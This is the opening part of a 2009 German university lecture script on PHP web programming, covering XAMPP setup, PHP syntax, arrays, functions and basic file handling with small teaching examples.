You are on page 1of 95

Web Programmierung 2

Ein Skriptum zu den gleichnamigen Lehrveranstaltungen


im 2. Semester von MultiMediaTechnolgy

Überblick
0. Vorbereitung 6
1. Einstieg in die serverseitige Programmierung 12
2. HTTP 26
3. Webapplikationen mit MySQL 42
4. Login, Sessions und Datenbank verändern 51
5. AJAX und REST 66
6. DB-Transaktionen und Apache Konfiguration 77
7. Ausblick 88
Anhänge 93
Stichwortverzeichnis 95

Version vom 23.Juni 2009


MMT Webprogrammierung 2 2

Ziele
Diese Lehrveranstaltung führt mehrere Themen, die im ersten Semester noch separat behandelt
wurden zusammen: Datenbanken, UNIX, Webprogrammierung mit HTML, CSS, Javascript werden
zusammen mit der Programmiersprachen PHP eingesetzt um Web-Applikationen zu bauen.

Am Ende des zweiten Semesters können Sie sagen:

• Ich kann Webapplikationen erstellen, und habe auch schon eine kleine Applikation inklusive
Datenbank vollständig umgesetzt.

• Ich kenne die Arbeitsteilung in einem Web-Projekt und kann meinen (technischen) Teil mit
Javascript, PHP und MySQL beitragen.

• Ich kann die Qualität einer Webapplikation beurteilen: Ich kenne die REST-Prinzip, ich ken-
ne Sicherheitsprobleme und Lösungsansätze, ich kann AJAX einsetzen.

• In meinem Blog zeige ich mehrere Artikel über Aspekte einer Web-Applikation.
MMT Webprogrammierung 2 3

Inhaltsverzeichnis
0. Vorbereitung 6
0.1 Ziele dieses Kapitels 6
0.2 Was ist PHP? Was passiert am Webserver? 7
0.3 Apache 7
0.3.1 Apachefriends und XAMPP 7
0.3.2 Apache und MySQL starten 8
0.3.3 Apache als Windows-Dienst 8
0.3.4 Webserver stoppen 9
0.4 Das erste PHP-Programm 9
0.4.1 PHP Versionen 10
0.4.2 Dokumentation 11
1. Einstieg in die serverseitige Programmierung 12
1.1 Ziele 12
1.2 Syntax von PHP 12
1.2.1 HTML und PHP 12
1.2.2 Includes 15
1.2.3 Variablen und Typen 16
1.2.4 Funktionen 18
1.3 Dateien und Ordnern in PHP 19
1.3.1 Zugriffsrechte 19
1.3.2 Ordner auflisten 20
1.3.3 Datei lesen 21
1.3.4 Datei (über-)schreiben 21
1.3.5 Gleichzeitiger schreibender Zugriff 22
1.4 PHP erzeugt nicht nur HTML 22
1.4.1 PHP erzeugt CSS 22
1.4.2 PHP erzeugt Bild 23
1.4.3 PHP erzeugt Variablen für Flash 24
1.4.4 PHP erzeugt XML 24
1.4.5 PHP leitet weiter 25
2. HTTP 26
2.1 Ziele 26
2.2 TCP/IP und DNS 26
2.3 HTTP 28
2.3.1 Ablauf im Überblick 28
2.3.2 Aufbau von Request und Response 28
2.3.3 HTTP abhören 30
2.3.4 Seite laden oder Formulardaten senden mit GET 31
2.3.5 Senden von Formulardaten mit Post 32
MMT Webprogrammierung 2 4

2.3.6 Umleitung an neue URL 33


2.3.7 Authentisierung nach RFC 2617 34
2.3.8 HTTPS 35
2.3.9 Proxies 35
2.4 Daten aus Web-Formularen verarbeiten 36
2.4.1 Daten senden mit Methode POST 37
2.4.2 Daten prüfen 37
2.4.3 Datei Upload 39
2.5 PHP und E-Mail 40
3. Webapplikationen mit MySQL 42
3.1 Ziele 42
3.2 PHP und MySQL 42
3.2.1 MySQL Installation, Wiederholung, Dokumentation 42
3.2.2 MySQL von PHP aus 45
3.3 Eine lesende Web-Applikation 46
3.3.1 Viele Datensätze aus der Datenbank lesen 48
3.3.2 Einzelne Daten aus der Datenbank lesen 48
3.3.3 Einen bestimmten Datensatz lesen 48
3.3.4 Datensätze suchen 50
3.3.5 Bilanz 50
4. Login, Sessions und Datenbank verändern 51
4.1 Ziele 51
4.2 Session und Login 52
4.2.1 Cookies 52
4.2.2 Session 53
4.3 Web-Applikation mit Schreibrecht 56
4.3.1 Daten löschen 57
4.3.2 Daten einfügen 58
4.3.3 Einen Datensatz bearbeiten 60
4.3.4 Escapen von HTML 62
4.3.5 Darstellen von HTML 63
5. AJAX und REST 66
5.1 Ziele 66
5.2 Wiederholung: Was ist AJAX 66
5.2.1 Simples AJAX Beispiel mit jQuery 68
5.2.2 Schlechte Verwendung von AJAX 68
5.3 REST – Representational State Transfer 69
5.3.1 Jedes Dokument soll eine eindeutige URL haben 70
5.3.2 Dokumente sollen Links auf andere Dokument enthalten 71
5.3.3 HTTP-Methoden GET, POST, PUT, DELETE 71
5.3.4 Ein Dokument – mehrere Repräsentationen 72
5.3.5 Zustandslosigkeit = Statlessness. 72
MMT Webprogrammierung 2 5

5.4 jQuery – Wiederholung 73


5.5 jQuery und AJAX 74
5.5.1 Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server 74
5.5.2 Autofill 75
5.6 Quellenverzeichnis 76
6. DB-Transaktionen und Apache Konfiguration 77
6.1 Ziele 77
6.2 Foreign Key Constraint 78
6.3 Transaktion 79
6.4 Andere DB-Schnittstellen 81
6.5 Konfiguration von Apache 83
6.5.1 Konfigurations-Änderung wirksam machen 83
6.5.2 Fehlermeldung 84
6.5.3 Zugriffsbeschränkung 84
6.5.4 HTTP Auth mit Apache 85
6.5.5 mod_rewrite 86
7. Ausblick 88
7.1 Templates und MVC 89
7.1.1 Templates am Beispiel von Smarty 89
7.2 Security von Web-Applikationen 91
7.2.1 Keine Ausreden 91
7.2.2 Beispiele für Attacken 91
7.2.3 Tipps für mehr Sicherheit in PHP 92
Anhänge 93
7.3 Literatur- und Web-Tipps 93
Stichwortverzeichnis 95
MMT Webprogrammierung 2 6

0. Vorbereitung
Bevor dar eigentliche Unterricht startet müssen Sie Ihren Computer auf die Arbeit mit PHP und
MySQL vorbereiten.

0.1 Ziele dieses Kapitels

Was Sie wissen sollten

• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Out-
put von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist.

• Dass Apache ein freier Webserver ist.

• Dass MySQL eine freie Datenbank ist.

• Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.

Was Sie können sollten

• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem
UNIX-Webserver wie z.B. www.users.fh-salzburg.ac.at.

• Die PHP-Dokumentation als Nachschlagewerk verwenden.

• PHP-Code lesen, egal auf welche Art er in HTML eingebettet ist.

Weitere Informationsquellen

• Apache, PHP, MySQL als Paket für Apple: MAMP

• PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net

Vertiefungsmöglichkeiten

Helfen Sie einem Kollegen / einer Kollegin beim installieren von XAMPP.
MMT Webprogrammierung 2 7

0.2 Was ist PHP? Was passiert am Webserver?

PHP ist eine Programmiersprache am Webserver. Sie ist im Vergleich zu anderen Programmierspra-
chen wie C++ oder Javascript recht simple in der Schreibweise und etwas altmodisch. Gerade des-
wegen eignet sie sich gut für Programmier-EinsteigerInnen. Viele bekannte open source Web-
Applikationen sind in PHP geschrieben.

Neben PHP werden viele andere Sprachen am Webserver verwendet. Da der Output dabei immer
HTML ist kann der Client nicht erkennen, welche Sprache verwendet wurde. Der Quelltext des Pro-
gramms wird nie im Browser sichtbar.

Das PHP-Programm wird gestartet um die Anfrage des Browsers zu beantworten. Nachdem diese
Aufgabe erfüllt ist, wird das PHP-Programm wieder beendet. Die Laufzeit ist also sehr, sehr kurz!

Ein sehr einfaches Beispielprogramm in PHP gibt „Hallo Welt“ aus und zeigt (mit dem Befehl phpin-
fo) viele Informationen über den Webserver und die PHP Installation an:

<html>
<body>
<?php
echo "Hallo Welt";
phpinfo();
?>
</body>
</html>

Um dieses Programm zu testen, brauchen Sie einen Browser und einen Webserver.

0.3 Apache

Apache ist ein freier Webserver. Das Apache-Projekt startete 1995 um statt NCSA Webserver, der
schon durch viele Patches verbessert wurde, einen neuen Webserver von Grund auf zu programmie-
ren. Der Name leitet sich aber noch von „a patchy webserver“ ab1.

Im Gegensatz zu anderen freien Software Projekten waren in der Apache Group von Anfang an Pro-
grammierer aus großen Firmen vertreten, und zwar im offiziellen Auftrag dieser Firmen.

0.3.1 Apachefriends und XAMPP

Die „apachefriends“ bieten den Webserver Apache in einem Paket mit der Programmiersprache PHP
und der Datenbank MySQL für Windows an. Dieses Gesamtpaket heißt dann XAMPP. Eine sehr
freundliche Installations-Anleitung ist auch dabei.

1
http://httpd.apache.org/ABOUT_APACHE.html und http://www.apache.org/foundation/faq.html
MMT Webprogrammierung 2 8

Abbildung 1: Webseite von apachefriends.org, download von XAMPP

Die Alternative zur Distribution XAMPP wäre, jeden Teil einzeln zu besorgen: Apache von
httpd.apache.org, PHP von php.net, und MySQL von MySQL.com herunter laden, die drei Pake-
te separat installieren, und dann versuchen, sie richtig zu kombinieren. Das ist viel mehr Arbeit.

0.3.2 Apache und MySQL starten

Wenn die Installation von Apache und MySQL auf Windows funktioniert hat, findet man nicht – wie
bei anderen Programmen – einen Eintrag im Programm-Menü. Weder Apache noch PHP noch MySQL
haben eine grafische Oberfläche. Apache und MySQL sind „Server“, die man starten muss.

Man kann Apache und MySQL auf zwei Arten starten: als Windows-Dienst oder über das in
Abbildung 2 gezeigte XAMPP Control Panel.

Abbildung 2: XAMPP Control Panel zum Starten und Stoppen von Apache

0.3.3 Apache als Windows-Dienst

Man findet unter SYSTEMSTEUERUNG -> VERWALTUNG -> DIENSTE eine Liste aller installierten Dienste und
kann diese starten und anhalten.
MMT Webprogrammierung 2 9

Abbildung 3: Dienste von Windows: MySQL und Apache2 sind schon gestartet

0.3.4 Webserver stoppen

Egal wie man Apache gestartet hat: erst mit einem Browser kann man die Funktionstüchtigkeit des
Webservers wirklich testen. Als URL verwendet man
http://localhost/.

Achtung: Apache und MySQL brauchen viel Hauptspei-


cher: Apache ca. 40 MB, MySQL fast 400 MB. Wer gleich-
zeitig mit vielen anderen Programmen arbeitet und nur
wenig Hauptspeicher im Computer hat, sollte also MySQL
und Apache nach Gebrauch wieder beenden.

0.4 Das erste PHP-Programm

Beachten Sie, dass das Programm die richtige Dateiendung (.php) haben muss und nicht direkt im
Browser angezeigt werden kann:

Abbildung 4: So funktioniert PHP nicht: ohne Webserver, falsche Dateiendung

Wenn Sie eine PHP-Programm in einer Datei mit der Endung .html oder .htm speichern wird es nicht
vom Webserver interpretiert, sondern direkt an den Browser gesandt. Der Browser zeigt den Code
aber nicht an, erst mit Ansicht->Quelltext kann man den Code sehen wie in Abbildung 5 gezeigt.

Abbildung 5: So funktioniert PHP nicht: falsche Dateiendung


MMT Webprogrammierung 2 10

Wenn Sie die richtige Dateiendung verwenden (.php) und die Seite über einen Webserver betrach-
ten (z.B. http://localhost) kann immer noch ein Fehler im PHP-Programm auftreten. Die Fehler-
meldung des Interpreters wird dann im Browser angezeigt wie in Abbildung 6 gezeigt.

Abbildung 6: So funktioniert PHP nicht: Fehler im Programm

Zum Abschluss nun das funktionierende Programm bei einem funktionierenden Testlauf:

Abbildung 7: So funktioniert PHP: Webserver, richtige Endung, richtiger Programmcode

Mit Ansicht->Quelltext kann man nun im Browser nur noch den HTML-Code sehen, niemals aber den
PHP-Quellcode!

0.4.1 PHP Versionen

Der Befehl phpinfo() liefert Informationen zur PHP-Installation. In Abbildung 7 sehen Sie z.B. dass
PHP in der Version 5.0.5 installiert ist.

Zwischen den verschiedenen PHP-Versionen gibt es eklatante Unterschiede, PHP ist nicht aufwärts-
kompatibel. Wenn ihr Webspace-Vermieter auf eine neue PHP-Version umstellt, müssen Sie eventu-
ell den Code Ihres Programmes anpassen.

In der PHP-Dokumentation sind diese Unterschiede bei den einzelnen Befehlen aufgeführt, z.B. bei
der Funktion array_fill() ist in der Dokumentation angegeben:

(PHP 4 >= 4.2.0, PHP 5)

Die Funktion existiert also seit PHP 4 Version 4.2.0 und auch in PHP 5.
MMT Webprogrammierung 2 11

Besonders im Bereich der Objektorientierung (Objekte, Klassen, etc.) gab es große Veränderungen
von PHP 4 auf PHP 5. Falls Sie objektorientiert programmieren wollen, sollten Sie auf jeden Fall PHP 5
verwenden!

Wenn Sie Webspace mieten liegt die Entscheidung aber nicht bei Ihnen: viele Webspace-Provider
bieten nur veraltete PHP-Versionen an. Das sollten Sie auf jeden Fall klären bevor Sie den Mietver-
trag abschließen!

0.4.2 Dokumentation

Die Dokumentation zu PHP finden Sie auf http://php.net.

Abbildung 8: Eine Funktion in der Doku auf php. net nachschlagen

Hilfreich sind auch die Kommentare der UserInnen am Ende jeder Doku-Seite. Hier finden Sie oft
Erklärungen zu einzelnen Features, die in der Dokumentation ‚vergessen’ wurden, oder Anwen-
dungsbeispiele:

Abbildung 9: Kommentare von UserInnen in der Doku auf php. Net

Die Dokumentation kann man auch herunterladen und lokal installieren, dann enthält sie aber nicht
die Kommentare.
MMT Webprogrammierung 2 12

1. Einstieg in die serverseitige Programmierung

1.1 Ziele

Was Sie alle wissen sollten

• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Out-
put von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist.

• Dass es sehr viele Programmiersprache gibt die alternativ zu PHP am Webserver verwendet
werden können.

• Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.

Was Sie alle können sollten

• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem
UNIX-Webserver wie z.B. student.cosy.sbg.ac.at.

• PHP-Code lesen, egal auf welche Art er in HTML eingebettet ist.

• Die PHP-Dokumentation als Nachschlagewerk verwenden.

• Mit Zahlen, Strings, Arrays in PHP arbeiten.

• Eigene Funktionen definieren.

• Mit Dateien und Ordnern in PHP arbeiten.

Weitere Informationsquellen

• PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net

• Smarty http://smarty.php.net/

Vertiefungsmöglichkeiten

Lesen Sie in der Dokumentation über String-Funktionen, Array-Funktionen, Filesystem-Funktionen.

Installieren Sie Smarty und lösen Sie die Übungsaufgaben alternativ mit Smarty.

1.2 Syntax von PHP

1.2.1 HTML und PHP

Ein erstes längeres Beispiel zeigt wie eng HTML und PHP vermischt werden:
MMT Webprogrammierung 2 13

01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"


02 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
03 <html xmlns="http://www.w3.org/1999/xhtml">
04 <head>
05 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
06 <title>Beispielseite für ein PHP-Programm</title>
07 </head><body>
08 <h1>PHP-Beispiel</h1>
09 <?php
10 $entfernung = 296;
11 $h = 2;
12 $min = 40;
13 $zeit = $h + $min / 60;
14 $kmh = $entfernung / $zeit;
15 echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>\n";
16 if( $kmh > 130 ) {
17 echo("<p><b>Das ist zu schnell!</b></p>\n");
18 }
19 ?>
20 </body>
21 </html>

Der Quellcode besteht hier aus einem HTML-Dokument, in dem in Zeile 09 bis 19 PHP eingebettet ist.
In den Zeilen 10 bis 14 werden nur Berechnungen durchgeführt, diese Zeilen haben keine Auswir-
kung auf das resultierende HTML-Dokument. In den Zeile 15 und 17 wird mit der echo() – Funktion
ein Output erstellt. Der PHP-Interpreter fügt diesen Output an der Stelle ein, wo der PHP-Code war;
das Ergebnis sieht wie folgt aus:

01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"


02 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
03 <html xmlns="http://www.w3.org/1999/xhtml">
04 <head>
05 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
06 <title>Beispielseite für ein PHP-Programm</title>
07 </head><body>
08 <h1>PHP-Beispiel</h1>
09 <p>296 km in 2:40 sind 111 km/h</p>
10 </body>
11 </html>

Welcher Teil des Dokuments statisch war und welcher von PHP berechnet wurde ist für den Browser
nicht erkennbar.

Ein PHP-Dokument kann mehrere Einbettungen enthalten, dabei können sogar Kontrollstrukturen in
einem anderen Teil fortgesetzt werden:
MMT Webprogrammierung 2 14

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"


"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Beispielseite für ein PHP-Programm</title>
</head><body>
<h1>Wilde Mischung</h1>

<?php
$i = 0;
while ( $i < 22 ) {
?>

<p>Alles Gute zum Geburtstag <img src="torte.jpg" /> !</p>

<?php

$i++;
}
?>

<p>Und ein gutes nächstes Jahr!</p>


</body>
</html>

Diese Schreibweise widerspricht den Lese-Gewohnheiten von ProgrammiererInnen: diese Art von
Verschachtelung ist in den meisten Sprachen verboten.

z.B. in HTML: <b>fett <i>und</b> kursiv</i>

In PHP wird diese Schreibweise oft verwendet, es gibt aber eine alternative Schreibweise für die Kon-
trollstrukturen, die besser zu unseren Lesegewohnheiten passt: Statt der öffnenden geschwungenen
Klammer wird ein Doppelpunkt geschrieben, das Ende der Schleife wird mit einem eigenen Schlüs-
selwort (endwhile, endif, endfor) markiert:

<h1>Wilde Mischung</h1>
<?php
$i = 0;
while ( $i < 22 ) :
?>

<p>Alles Gute zum Geburtstag <img src="torte.jpg" /> !</p>

<?php

$i++;
endwhile;
?>

<p>Und ein gutes nächstes Jahr!</p>

Bei größeren Projekten empfehle ich aber auf jeden Fall die Trennung von Programm-Logik und Dar-
stellung und die Verwendung von Templates wie z.B. Smarty. Der erste Schritt in diese Richtung wäre,
die Berechnung an den Anfang der Datei zu stellen.

Welcher Teil schon als Ausgabe zählt und in das HTML-Dokument eingebettet wird ist dabei wieder
eine Abwägungsfrage, auf die es keine fixe Antwort gibt.
MMT Webprogrammierung 2 15

<?php // Berechnung zuerst


$entfernung = 296;
$h = 2;
$min = 40;
$zeit = $h + $min / 60;
$kmh = $entfernung / $zeit;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Beispielseite für ein PHP-Programm</title>
</head><body>
<h1>PHP-Beispiel</h1>

<?php
echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>";
if( $kmh > 130 ) {
echo("<p><b>Das ist zu schnell!</b></p>");
}
?>
</body>
</html>

1.2.2 Includes

Bei PHP-Applikationen mit mehr als einer Datei empfiehlt sich die Verwendung von include um Dupli-
zierung von Code zu verhindern. PHP-Code der mehrmals verwendet wird kann als Funktionen in
eine Datei phpfunctions.php ausgelagert werden:

<?php

function calc( $entfernung, $h, $min ) {


$zeit = $h + $min / 60;
$kmh = $entfernung / $zeit;
return $kmh;
}

?>

Wenn diese Datei direkt aufgerufen wird (http://www.meinhost.at/phpfunctions.php) erscheint kein


Output, aber auch keine Fehlermeldung 404 wie bei einer nicht existierenden Seite.

Der Anfang und das Ende der HTML-Datei (inklusive Titel, Navigation, Headline) können in Dateien
header.php und footer.php ausgelagert werden. Im Header wird PHP (statt statischem HTML) ver-
wendet, um den Titel der Seite und später eventuell die Navigation dynamisch generieren zu können:
MMT Webprogrammierung 2 16

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"


"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Brigittes totale Web-App: <?php echo $pagetitle ?></title>
<link rel="stylesheet" href="style.css" />
</head><body>
<ul id="navigation">
<li>Home</li>
<li>Hier</li>
<li>Da</li>
</ul>
<h1><?php echo $pagetitle ?></h1>

Wenn diese Seite direkt aufgerufen wird (http://www.meinhost.at/header.php) erscheint der HTML-
Code. Da die Variable $pagetitle nicht gesetzt ist (undefined) wir sie behandelt als ob sie den leeren
String enthält: die Überschrift ist leer.

Der Footer könnte auch eine statische HTML-Datei sein, da hier keine Variablen oder PHP-Code ver-
wendet warden:

<div id="foot">&copy; 2009 Brigitte</div>


</body>
</html>

In der “Haupt-Datei” warden alle diese Einzelteile zusammengefügt:

<?php
include "phpfunctions.php"; // kein Output, nur Definitionen von Funktionen!

$pagetitle = "Berechnung der Geschwindigkeit";

$entfernung = 296;
$h = 2;
$min = 40;

$kmh = calc($entfernung, $h, $min);

include "header.php"; // erster Output von HTML

echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>";


if( $kmh > 130 ) {
echo("<p><b>Das ist zu schnell!</b></p>");
}

include "footer.php"
?>

Und wieder gilt: die „Zusammensetzung“ erfolgt am Server. Im Client landet nur der fertige HTML-
Code. Die UserIn kann nicht erkennen, dass die Seite ursprünglich aus mehreren Dateien bestand.

1.2.3 Variablen und Typen

Variablennamen in PHP beginnen mit einem Dollar-Zeichen. Warum? Sie haben im Beispielprogramm
schon gesehen, wie Variablen einfach in Strings eingebettet werden können:
MMT Webprogrammierung 2 17

echo "$entfernung km in $h:$min sind $kmh km/h";

Das ist nur möglich weil die Variablennamen mit einem besonderen Zeichen gekennzeichnet sind. Es
gibt in PHP eine zweite Schreibweise für Strings die keine Variablen erlaubt:

echo 'Bei einfachen Anführungszeichen ist ein $ einfach ein $';

Variablen in PHP müssen nicht deklariert oder initialisiert werden. PHP unterscheidet zwischen den
Datentypen boolean, integer, float, string, array, object, resource und NULL. In einer Variable
können nacheinander verschiedene Datentypen gespeichert werden, die Variable selbst hat also
keinen Typ! Je nach verwendeten Operatoren und Funktionen werden die Typen konvertiert:

<?php
$foo = "0"; // $foo is a string with one character (ASCII 48)
$foo += 2; // $foo is now an integer (2)
$foo = $foo + 1.3; // $foo is now a float (3.3)
$bar = 5 + "10 Little Piggies"; // $bar is an integer (15)
$baz = 5 . "10 Small Pigs"; // $baz is a longer string "510 Small Pigs"
?>

Die Addition mit + interpretiert beide Summanden als Zahl. Falls ein Summand ein String ist, wird am
Beginn des Strings nach einer Zahl gesucht und diese verwendet. Der Punkt-Operator fügt Strings
zusammen und interpretiert seine beiden Operanden als Strings.

Arrays in PHP können auf ähnliche Art verwendet werden wie in C++ (und C, und Java, und Perl,…)
und verhalten sich auf den ersten Blick auch wie erwartet:

$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";

for($i=0;$i<count($foo);$i++) {
echo("Der $i. Wert im Array ist $foo[$i]<br />");
}

Auf den zweiten Blick sind Arrays in PHP aber wesentlich komplexer: nicht nur Integers sind als Index
zulässig, sondern auch Strings, es handelt sich also um assoziative Arrays in denen ein Schlüssel mit
einem Wert assoziiert wird.

Mit der foreach Schleife kann man Schlüssel und Wert auslesen. Dabei wird offenbar, dass die Rei-
henfolge des Einfügens ins Array erhalten geblieben ist: Die Schlüssel-Wert-Paare sind im Array wei-
terhin geordnet!
MMT Webprogrammierung 2 18

$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";

foreach( $foo as $key => $value ) {


echo("Zum Schlüssel $key ist der Wert $value gespeichert<br />");

Mit der Schreibweise $foo[] kann ein Wert unter der kleinsten (noch nicht verwendet) Integer-Zahl
als Schlüssel gespeichert werden:

$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";
$foo['dies'] = "etwas Nahes";
$foo['das'] = "etwas Fernes";
$foo[] = "das Nächste";

Das Array in PHP ist also ein wesentlich komplexerer Datentyp als ein Array in anderen Programmier-
sprachen – es verbindet Eigenschaften von Arrays mit denen von assoziativen Arrays. Ein Array zu
sortieren ist entsprechend kompliziert; es gibt eine ganze Reihe von Sortier-Funktionen. Sie finden
diese im Abschnitt „Array-Funktionen“ der PHP-Doku.

1.2.4 Funktionen
function foo($arg_1, $arg_2 = "Euro")
{
$a = 1 * 2;
return $a . $arg_2;
}
$x = foo(10);
$y = foo(20, "Pfund");

Die Schreibweise von Funktionen inklusive Argumentliste und Rückgabewert ist leicht verständlich.
Eine Falle für erfahrene ProgrammiererInnen ist das Scoping von globalen Variablen:

$pi = 3.141;

function inhalt($radius)
{
return $radius * $radius * $pi;
}

$r = 10;
$a = inhalt($r);

echo("ein Kreis mit Radius $r hat eine Fläche von $a");

Dieses Programm funktioniert nicht wie erwartet, da innerhalb einer Funktion kein Zugriff auf die
außerhalb definierten Variablen möglich ist! Die Variable $pi ist in der Funktion nicht sichtbar, statt-
dessen wird mit einer neuen Variable $pi mit Default-Wert 0 gerechnet.

Mit dem Keyword global wird die Variable „in die Funktion eingeladen“ und ist dann auch innerhalb
der Funktion sichtbar, lesbar und veränderbar.
MMT Webprogrammierung 2 19

$pi = 3.141;

function inhalt($radius)
{
global $pi;
return $radius * $radius * $pi;
}

$r = 10;
$a = inhalt($r);

echo("ein Kreis mit Radius $r hat eine Fläche von $a");

Ausgenommen von dieser Regelung sind die sogenannten „superglobals“. Das sind Variablen, die auf
jeden Fall sichtbar sind. Vier davon werden hier vorgestellt, die anderen werden erst später behan-
delt.

$GLOBALS Dieses Array enthält alle globalen Variablen.

$_SERVER Dieses Array enthält Konfigurations-Informationen des (Web-)Servers und all-


gemeine Informationen zur aktuellen Anfrage (z.B. IP-Adresse des Browsers)

$_ENV Dieses Array enthält die Umgebungsvariablen (je nach Betriebssystem verschie-
den).

$_GET Die Parameter die über die URL an das PHP-Programm übergeben wurden.

1.3 Dateien und Ordnern in PHP

In diesem Kapitel wird beschreiben, wie PHP mit Dateien und Ordnern arbeiten kann und welche
Web-spezifischen Probleme dabei auftreten.

1.3.1 Zugriffsrechte

Achtung: Auf einem UNIX-Webserver läuft das PHP-Programm unter dem Account des Webservers,
nicht unter Ihrem Account! Dies wird relevant, sobald ein PHP-Programm eine andere Datei lesen
oder (über-)schreiben soll.

Beim Upload der Dateien auf den Webserver mit einem FTP oder SFTP Programm sollten Sie auch die
Möglichkeit haben, die Zugriffsrechte anzusehen bzw. zu verändern. Abbildung 10 zeigt links die Dar-
stellung der Zugriffsrechte in der Shell, rechts das Verändern der Zugriffsrechte mit Dreamweaver.
MMT Webprogrammierung 2 20

Abbildung 10: UNIX Zugriffsrechte mit Dreamweaver setzen

Eine kurze Wiederholung der UNIX-Zugriffsrechte: Es gibt drei Rechte (Lesen, Schreiben, Ausführen)
und drei Gruppen von Usern die unterschieden werden (Eigentümer, Gruppe, Andere). Im Terminal
werden diese Rechte als Buchstaben angezeigt: r steht für Lesen, w für Schreiben, x für Ausführen.

Das PHP-Programm läuft nicht unter Ihrem Account, sondern unter dem Account des Webservers.
D.h. für das PHP-Programm gelten die Zugriffsrechte „für Alle“.

Mit den PHP-Funktionen is_readable() und is_writable() können Sie testen, ob das Programm
Lese- bzw. Schreibrechte auf eine bestimmte Datei hat.

1.3.2 Ordner auflisten

Um herauszufinden, welche Dateien (und Unter-Ordner) sich in einem Ordner befinden, verwendet
man die Funktion glob. (Achtung: die Funktionen opendir, readdir, closedir gibt es auch, die sind
aber komplizierter zu verwenden)

<?php
$alle = glob("*");
foreach( $alle as $file ) { // forach-Schleife über Werte, Schlüssel ignorieren!
echo "<br>Datei $file gefunden.\n";
}
?>

Im Output des Programmes werden nicht nur Dateien angezeigt, sondern auch Ordner. Mit den
Funktionen is_dir() und is_file() könnte man herausfinden ob ein Ordner oder eine Datei vor-
liegt.

Die Funktion glob kann — ähnlich wie das DOS-Kommand dir oder das UNIX-Kommando ls —mit
verschiedenen Mustern suchen:
MMT Webprogrammierung 2 21

<?php
$alle = glob("*.jpg");
foreach( $alle as $file ) {
echo "<br>Bild $file gefunden.\n";
}
?>

Der Rückgabewert von glob ist ein Array. Mit array_merge kann man mehrere Arrays zusammenfü-
gen zu einem langen Array und mit asort die Werte alphabethisch sortieren:

$jpg = glob("bilder/*.jpg");
$gif = glob("bilder/*.gif");
$alle_bilder = array_merge($jpg, $gif);
asort( $alle_bilder )

1.3.3 Datei lesen

Um eine Datei von PHP aus zu benutzen, muss man sie mit der Funktion fopen öffnen. Man erhält
einen „handle“ mit dem man sich im Weiteren auf diese Datei bezeihen kann.

$handle = fopen("counter.txt", "r"); // r steht für read = lesen

Achtung: die Pfadangabe zur Datei ist in UNIX-Schreibweise mit Slash zu schreiben, nicht in Windows-
Schreibweise mit Backslash, also:

$handle = fopen ("unterordner\counter.txt", "r")


$handle = fopen ("unterordner/counter.txt", "r")

Da die Datei zum Lesen geöffnet wurde, kann man nun mit fgets eine Zeile aus der Datei lesen. „Ei-
ne Zeile“ bedeutet hier: bis ein Zeilenumbruch in der Datei gefunden wird.

$zahl = fgets($handle);

Bei längeren Dateien wird fgets meist in einer Schleife verwendet, um alle Zeilen aus der Datei zu
lesen. Nach Gebrauch muss man die Datei wieder schließen:

fclose($handle);

1.3.4 Datei (über-)schreiben

Beim Schreiben wird als zweites Argument von fopen der Buchstabe „w“ übergeben:

$handle = fopen("counter.txt", 'w');


fwrite($handle, "$zahl\n");
fclose($handle);

Leider ist das Leben aber nicht so einfach: sowohl beim Lesen als auch beim Schreiben von Dateien
kann viel schief gehen. Existiert die Datei, aus der ich lesen will, überhaupt? Darf ich in die Datei, in
die ich schreiben will überhaupt schreiben? Um diese Fragen zu beantworten gibt es Funktionen
is_readable, is_writable und die Rückgabewerte der verschiedenen schon gezeigten File-
Funktionen. So liefert fwrite entweder die Anzahl der geschriebenen Bytes oder FALSE als Status-
Code zurück:
MMT Webprogrammierung 2 22

$status = fwrite($handle, $zahl);


if ( $status === FALSE ) {
echo "Datei nicht schreibbar: Platte voll? Zugriff verboten?";
exit;
}

Bevor Sie beginnen mit PHP Dateien zu (über-)schreiben, zu löschen oder zu verschieben ein Warn-
hinweis: Es wird ernst. Hier gibt es keinen Papierkorb. Wenn Ihr PHP-Programm eine Datei löscht,
dann ist diese Datei sofort und unwiederbringlich weg.

1.3.5 Gleichzeitiger schreibender Zugriff

